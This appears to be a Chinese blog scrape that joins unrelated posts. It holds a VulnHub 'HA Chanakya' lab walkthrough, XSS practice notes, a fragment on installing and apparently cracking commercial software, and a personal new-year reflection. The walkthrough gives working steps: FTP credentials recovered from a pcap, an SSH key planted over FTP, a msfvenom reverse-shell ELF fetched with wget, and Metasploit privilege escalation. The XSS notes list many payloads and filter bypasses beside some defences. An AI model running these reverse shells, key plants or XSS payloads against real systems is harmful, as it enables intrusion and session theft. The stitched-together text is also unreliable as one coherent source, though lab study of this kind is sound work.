HackTheNmae:HA Chanakya
The Mastermind that took down kingdoms is back and this time he has created a puzzle that would make you scratch you brains! It’s time to face Chanakya.
Will you be able to solve this Boot to Root and prove that you are wiser?
ENUMERATION IS THE KEY!!!!!
下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/
难度:中等
目的:拿到 192.168.194 .128的 Root 权限
靶机IP:192.168.194.128
攻击机器IP:192.168.194.129

一、信息收集

因为是在一个局域网中搭建的,且都通过NAT模式连接;已知KALI的IP为192.168.194.129,所以其他所有以NAT模式连接的机器都将分配C段IP。利用nmap的TCP半开放扫描探测目标机器。

nmap -sS 192.168.194.0/24

发现目标机器开放21 22 80端口

二、渗透初始

利用dirsearch和dirb对网站目录进行扫描,得到一个敏感txt文件和两个文件夹

访问http://192.168.194.128/abuse.txt后得到“nfubxn.cpncat”内容,rot13解密后得到:“ ashoka.pcapng ”,访问 http://192.168.194.128/ashoka.pcapng 下载得到该流量包。利用WireShark加载打开发现存在FTP协议登录的流量包信息,并找到登录FTP服务的用户名和密码ashoka/kautilya

访问ftp://192.168.194.128输入用户名密码后登录

拿到FTP服务器后原本想上传个elf马执行回弹Shell,但是后来发现FTP服务上也没法运行啊。 后来在网上找了一下,可以从 SSH 中的 id_rsa.pub 下手!原理是:在KALI生成一个id_rsa.pub的密匙,然后通过 FTP 来上传我们的密匙,因为它服务器上有我们的密匙,从而我们就可以用 SSH 来进行连接!

在KAli上生成公钥

ssh-keygen:生成ssh公钥认证所需的公钥和私钥文件,密码为:toor
其中,密匙保存在:root/.ssh/id_rsa

然后我们把 id_rsa.pub 里的内容重定向到 authorized_keys 文件中,再移动到 /root/ 目录下,方便 FTP 上传:

cat id_rsa.pub > authorized_keys
mv  authorized_keys /root/

Linux下登录FTP:ftp 192.168.194.128 输入用户名和密码

创建一个 .ssh 目录,上传 authorized_keys 文件, 再上传 authorized_keys 文件

ssh ashoka@192.168.194.128 输入yes之后成功登入

三、权限提升

现在已经拿到一个Shell了,但是不是root权限的,接下来利用msfvenom在root目录下生成一个elf的木马。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.194.129 LPORT=6666 -f elf > shell.elf

在KAli的root目录下开启一个HTTP服务 python -m SimpleHTTPServer 默认开启8000端口,接下来通过wget下载shell.elf文件“wget http://192.168.194.129:8000/shell.elf”,再chmod 777 shell.elf使其具有可执行权限。

这里踩了一个坑,通过FTP服务上传了shell.elf,结果无法运行,这是因为FTP服务上传的文件是root权限了,而通过wget下载的却是以ashoka用户身份下载。然后开启MSF。

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 6666
set lhost 192.168.194.129
run

补充:生成x86的反弹shell马是因为目标机器的系统版本是x86的,通过uname -a查看得到

拿到meterpreter的session后,使用POST模块查看可提权模块

run post/multi/recon/local_exploit_suggester

接着bg将meterpreter的session放到后台

use exploit/linux/local/netfilter_priv_esc_ipv4
set rhost 192.168.194.128
set session 1
run

提权一波结果失败了,尝试使用一下命令注入:

use exploit/multi/script/web_delivery
set lhost 192.168.194.129
run

run后会生成一段python代码,将这段代码放到目标及执行后会回弹一个Shell,但是回弹后的权限依然是普通用户权限

最后尝试利用chkrootkit模块提权,该模块有crontab,会定期以root身份执行/tmp/update文件。 注:该模块使用前提是目标机器是Linux系统

use exploit/unix/local/chkrootkit
set rhosts 192.168.194.128
set session 2
set lport 8888
exploit

python -c’import pty;pty.spawn(“/bin/bash”)’

本篇为XSS学习记录,学的不够规范,可以学习到1.事件触发 2.JS伪协议绕过3.双写绕过4.eval搭配JS伪协议解编码绕过5.空格绕过6.十六进制,unicode编码绕过

7.设置httponly防止xss攻击8.了解同源策略9.三个过滤函数,当然也可以自行编写过滤函数(可用正则)

2.”><script>alert(document.domain);</script>
“onmouseover=alert(document.domain)>  onmouseover鼠标移动到就触发
3.select元素可创建单选或多选菜单
<select>元素中的<option>标签用于定义列表中的可用选项
抓包在 Japan<script>alert(document.domain);</script>
4.HTML表单隐藏参数
HTML中svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像
SVG文件可通过以下标签嵌入HTML文档:<embed><object><iframe>
也可以使用svg标签插入
<svg/事件=””>
payload:在p3处
<script>alert(document.domain);</script>
“><svg onload=alert(document.domain)>%0a
onload加载页面就触发
5.HTML表单文本框介绍
HTML表单用于搜集不同类型用户输入。表单元素指的是不同类型的input元素,复选框,单选按钮,提交按钮等等。text定义常规文本输入

属性介绍:
value属性规定输入字段的初始值
readonly属性规定输入字段为只读(不能修改)
disabled属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。
size属性规定输入字段的尺寸(以字符计)
maxlength属性规定输入字段允许的最大长度
如设置maxlength属性,则输入控件不会接受超过所允许数的字符
payload:修改长度
“><script>alert(document.domain);</script>
“><svg onload=alert(document.domain)>%0a
“onmouseover=alert(document.domain)>
6.payload 会将<转义因此可使用事件触发”onmouseover=”alert(document.domain)闭合单引号
7.空格分隔属性的XSS
测试111 111    111 111=111  111=”111″
会发现他会自行加上引号
111 onmouseover=alert(document.domain)
8.JS伪协议触发XSS
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中哦的javascript代码中含有多个语句,必须使用分号将这些语句分隔开
javascript:var now = new Date();”<h1>asas</h1>”+now;
javascript:URL还可以含有只执行动作,但不返回值得javascript语句
当输入内容出现在href属性中,可以使用Js伪协议
payload:javascript:alert(document.domain);
9.utf-7已经不常用了,直接过去在hint出修改为<span id=”hide” onclick=”alert(document.domain)”>点击即可
10.绕过过滤domain为空的XSS
测试后发现同第五关一样
“><script>alert(document.domain);</script>
但是domain被过滤了
可以尝试双写和编码绕过
“><script>alert(document.dodomainmain);</script>
“><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==’));</script>
atob将base64解码
11.绕过script和on事件的XSS
测试
“>onmouseover=”alert(document.domain)” onxxxx
“><script>alert(document.domain);</script>   <xscript>
伪协议测试绕过
“><a href=”javascript:alert(document.domain)”>xss</a>
javascript变成了javaxscript
空格绕过:
payload:”><a href=javascri&#09pt:alert(document.domain)>test</a>   //&#09 tab制表符html十进制编码
“><a href=javascri pt:alert(document.domain)>test</a> // 是html5的换行符,:是冒号
12 IE浏览器特性:“相当于”
payload:“onmouseover=alert(document.domain) 

JS会识别十六进制及unicode的3c,3e对应<,>
15.当输入的<会被转义成<尝试用十六进制绕过
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
16.尝试使用\\+unicode绕过
\\u003cscript\\u003ealert(document.domain);\\u003c/script\u003e

17浏览器同源策略介绍:
源的含义:源指源头,信息来源的位置。在计算机中源在RFC6454文档中规定,源是由协议、主机名、端口组成
范例:协议://主机名:端口号/
注:http://example.com和https://example.com是不同源的
同源策略
在计算机中,同源策略(Same-Origin Policy,SOP)用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面
只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方子渊,所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的
例如:源A页面要访问源B页面认证cookie,如果不加组织读取cookie,会造成cookie欺骗绕过登录验证
cookie httponly可以一定程度防止XSS
setcookie(name,value,expire,path,domain,secure)
name 必须。规定cookie的名称
value 必须。规定cookie的值
expire 可选。规定cookie的有效期
path 可选。规定cookie的服务器路径
domain 可选。规定cookie的域名
secure 可选。规定是否通过安全的HTTPS连接来传输cookie
setcookie(“abc”,”test”,NULL,NULL,NULL,NULL,TRUE)设置最后一项为TRUE,就不能使用JS获取cookie了

XSS防御
htmlspecialchars()函数把预定义的字符转换为HTML实体
预定义的字符是:&–& “–”  ‘–‘ <–< >–>
该函数作用是转换成字符串,使原有含义失效
<?php
    $str = “<script>alert(document.cookie)</script>”;
    echo $str;
    $str1 = htmlspecialchars($str)
    echo ‘\n’.$str1;
?>
会因为第一个echo弹框,第二个echo输入字符到页面上
htmlentities()函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被转换为HTML实体<(<),输如>就被转换为>(>)
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签
注释:该函数始终会剥离HTML注释。这点无法通过allow参数改变
注释:该函数是二进制安全的
会删除<script>和</script>

 

下载链接:

链接:https://pan.baidu.com/s/130JV1z9-xz6shmFBcM8Erw
提取码:2kqb
复制这段内容后打开百度网盘手机App,操作更方便哦

先把之前的卸掉

一直回车到下图

安装成功

检查是否成功:

登录系统后, 点击右上角的”Administrator->Profile->License”,可以看到99999就说明成功激活

修改不检查更新:

登录系统后,左下角Settings->ProductUpgrades,改为”Do not automaticaly check for update[Not Recommanded]”(注意保存Save)

注:装好后,ubuntu重启一下.

安装依赖库

sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev

这篇文章是作为我的一个对去年的回顾和对新的一年的展望

之所以要记录下这些是因为2019对我来说是一个蜕变的一年,我从一名迷茫的大学生,逐步走上了安全行业这个道路,而且我也非常感谢我前行的路上有与我志同道和的好友,学长,学姐与我共同成长,是他们让我的人生有了更多的色彩。这里着重也感谢一下我“熵增”大师傅,讲真的这真的是我的一个亦师亦友的学长,从接触CTF开始,接触web安全开始,每当我止步不前,怠惰迷茫的时候,他真的教会了我许多,不仅有对我人生道路的抉择的指导,更有对我技术的帮助与提高。而到如今为止,我也能真切的感受到自己的进步与成长,当然仍然是只菜鸡(嘻嘻,我会变强的)。

我知道安全的道路越走会越艰辛,我不知道我的天赋与努力最终能让我走到一个什么程度,但至少目前为止,我想莫问前程,努力拼搏(嘻嘻)而对于新的一年嘛,我也想给自己有几个小目标:

1.打好每一场ctf比赛,多积累各种比赛经验,努力挤进线下赛,与大佬们一较高下

2.掌握扎实的代码基础,自己多动手写一些自己的小工具

3.从代码层面更深入的去研究各种漏洞,最好能成功提交一些漏洞,(今年太菜了)

4.希望自己能逐步在CTF或安全圈中混出一些名气

5.扩展自己的知识面,去了解国内国际的各种热点形式,毕竟在我看来眼界更能决定一个人未来的高度不是!

Fighting,FIghting,Fighting!!!